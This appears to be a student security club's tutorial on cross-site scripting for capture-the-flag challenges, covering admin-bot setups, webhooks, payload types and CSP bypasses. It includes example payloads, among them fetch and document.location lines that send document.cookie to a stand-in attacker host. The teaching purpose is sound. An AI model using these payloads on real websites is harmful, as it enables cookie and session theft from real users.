# XSS Notes ## Club Resources * [Practice Problems](https://ctf.tjcsec.club) * [Codespaces Desktop](https://github.com/TJCSec/desktop) * [Webhook.site](https://webhook.site) ## Getting Started ### What is XSS? XSS (short for Cross-Site Scripting) is a pretty intimidating title for a fairly straightforward exploitation method. The term of XSS was coined by Microsoft, but this term isn't exactly accurate to what XSS is. XSS is a method of injecting malicious script into a website to attack another client through **unsanitized input** in the website. XSS is a client-side attack (meant to steal client data, like CSRF tokens, cookies, etc.) unlike other web exploitation methods like SQL injection or SSRF. Also, XSS is one of the most frequent web vulnerabilities out there! Since XSS comes from improperly sanitized user input in a webpage, it's typically a prevalent issue, and a lot of big-dog companies like Facebook, Youtube, and Twitter have been victims to XSS. ### How does an XSS attack work? There are three basic steps to an XSS attack: 1. The attacker injects a **malicious payload** into the webpage. This malicious payload is composed of code which, when passed through an unsanitized input, is **executed** on the webpage. 2. The victim visits the webpage with the malicious code, and the malicious payload is **executed on the client's side.** 3. The victim's info is sent to the attacker (in our XSS challenges, this will be via admin bot! see below for admin bot stuff) Think of an XSS attack this way. You have a webpage that asks for someone's name to display on their webpage. However, the webpage doesn't handle the input properly and does not sanitize the input. Thus, the attacker can put some sort of code in! For example, `<script>alert()</script>` is a simple example that would be injected into the HTML body and execute a javascript payload (to display an alert). If we tell the webpage that our name is `<script>alert()</script>`, the webpage will display this (again, unsanitized) and execute the payload! ## How do XSS challenges work? ### Admin Bot Above, we mentioned how XSS is a client-side attack. But how can we have XSS challenges without a client to attack? Enter the admin bot. The admin bot essentially acts as your average Joe Schmoe; as you'll see in the *admin-bot intro* challenge, our admin bot will visit any website you tell it to (with some restrictions depending on the challenge). In our XSS challenges, the admin bot acts as our victim and simulates a user visiting the webpage. Also, the admin bot almost always has the flag! You'll see what the admin-bot's behavior is in the `admin-bot.js` files that are provided with every XSS challenge. Let's take a look at the `basic-comments-1` and `basic-comments-2` `admin-bot.js` files. import flag from './flag.txt'; function sleep(time) { return new Promise(resolve => { setTimeout(resolve, time) }); } export default { id: 'basic-comments-1', name: 'basic-comments-1', urlRegex: /^https:\/\/basic-comments-1\.challenge\.tjcsec.club\//, timeout: 10000, handler: async (url, ctx) => { const page = await ctx.newPage(); // flag in the cookie? await page.setCookie({ domain: 'basic-comments-1.challenge.tjcsec.club', name: 'flag', value: flag }); await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' }); await sleep(3000); } }; Do you see anything interesting? You can see in this example that the `flag` value is put into the cookie that the admin bot deposits in the webpage (the inputted webpage) after visiting the webpage. So for this challenge, your objective is to see how you can retrieve this cookie! See below for some tips on this :smiley: You can also note that the urlRegex makes it so that the admin bot will *only* accept webpages that start with `https://basic-comments-1.challenge.tjcsec.club/`! This means you'll only be able to find a solution by manipulating the challenge website. Also, you don't necessarily need to know RegEx for these challenges; the RegEx involved is pretty simple, and it's an entire unit in AI, so if you're planning on taking more advanced TJ CS classes you'll get there eventually :smiley: Here's another `admin-bot.js` example from `basic-comments-2`: import flag from './flag.txt'; function sleep(time) { return new Promise(resolve => { setTimeout(resolve, time) }); } export default { id: 'basic-comments-2', name: 'basic-comments-2', urlRegex: /^https:\/\/basic-comments-2\.challenge\.tjcsec.club\//, timeout: 10000, handler: async (url, ctx) => { const page = await ctx.newPage(); await page.goto(url + flag, { timeout: 3000, waitUntil: 'domcontentloaded' }); await sleep(3000); } }; As you can see, this admin bot is a little different! Instead of having the flag in the cookie, the admin bot visits the inputted webpage plus the flag! Note that this means that it'll append the flag to the **initial** webpage you give it, so if you're redirecting it to a webhook (which is something addressed below), you'll have to find some way to bring it along. Also, make sure the appending of the flag doesn't make your URL invalid! For example, if your URL is `https://basic-comments-2.challenge.tjcsec.club/myverycoolcomment` and you don't consider that the flag is being directly appended to your webpage, the admin bot will visit `https://basic-comments-2.challenge.tjcsec.club/myverycoolcommentFLAG` which won't be a valid URL. In this scenario, query string parameters are very useful to avoid this issue :smiley: ### Webhooks Webhooks will be your best friends in these challenges. If you try out the `admin-bot intro` challenge, you'll get a pretty good feel for it. My favorite site is linked at the top (webhook.site). Essentially, you have full control over the webhook webpage, so if you can get the flag to your webhook (through redirects or other methods) you'll be able to easily solve the challenges! Here's an example: document.location = "http://attacker.site/?cookie=" + document.cookie; or fetch("http://attacker.site/?cookie=" + document.cookie) I'd recommend using the first option (fetch can sometimes be finicky), but both serve the same purpose. ### Example XSS Payloads Here are some examples of XSS payloads that you might find helpful! 1. Code blocks `<script>alert(100)</script>` Classic XSS payload. 2. Inline code `<img src=x onerror=doSomething()>` In this case, `src=x` forces an error, upon which doSomething() is executed. 3. Remote code files `<script src="https://website.com/payload.js"></script>` This links the script to code file! While this is super useful, `script src` can often be limited by CSP (see below), so watch out for that. If the input to the website is completely unsanitized, these payloads might be executed! However, most challenges do have a nonzero amount of sanitization… so you’ll have to get creative. #### Types of XSS This isn't as necessary for solving XSS challenges, but it is cool to know. 1. Reflected XSS Reflecting of a malicious script off of a web application and into a user’s browser 2. Stored XSS Injected script is stored in a database/target server Ex: comment section 3. DOM XSS Script is executed by modifying the DOM Vulnerability is in the client-side code #### How do you mitigate XSS? * Input sanitization Removing characters that could be interpreted as HTML or javascript (<>,[],”, etc) * Content Security Policy (CSP) A browser mechanism that mitigates XSS by restricting the resources of a webpage! `<directive> <source-value>` `Content-Security-Policy: script-src 'self'; img-src 'self'` * Ex: this restricts both sources and images to the same origin as the webpage * Additional CSP mitigations: * Nonce: a random value generated by the CSP directive that must be included in the script tag, limited to base-64 characters, meant to be used one time * Script hashes: A specified hash of the script contents—if the hash of the script does not match the hash specified by the directive, the script will not be run #### How do you bypass XSS mitigations? Input sanitization: * Basic filters can be bypassed using different XSS payloads! You’ll have to get creative for a few of these XSS challenges… Bypassing CSP: * Depends on the CSP! Take a look at it and see if there are any values that are a bit off… * Exploiting wildcards (\*) * Predict nonce/hash values (these are almost always dynamic) * Example CSP header: * `<meta http-equiv="Content-Security-Policy" content=" default-src 'self'; script-src 'self'; style-src 'self'; img-src 'none'; object-src 'none'; frame-src data:; manifest-src 'none'; ">`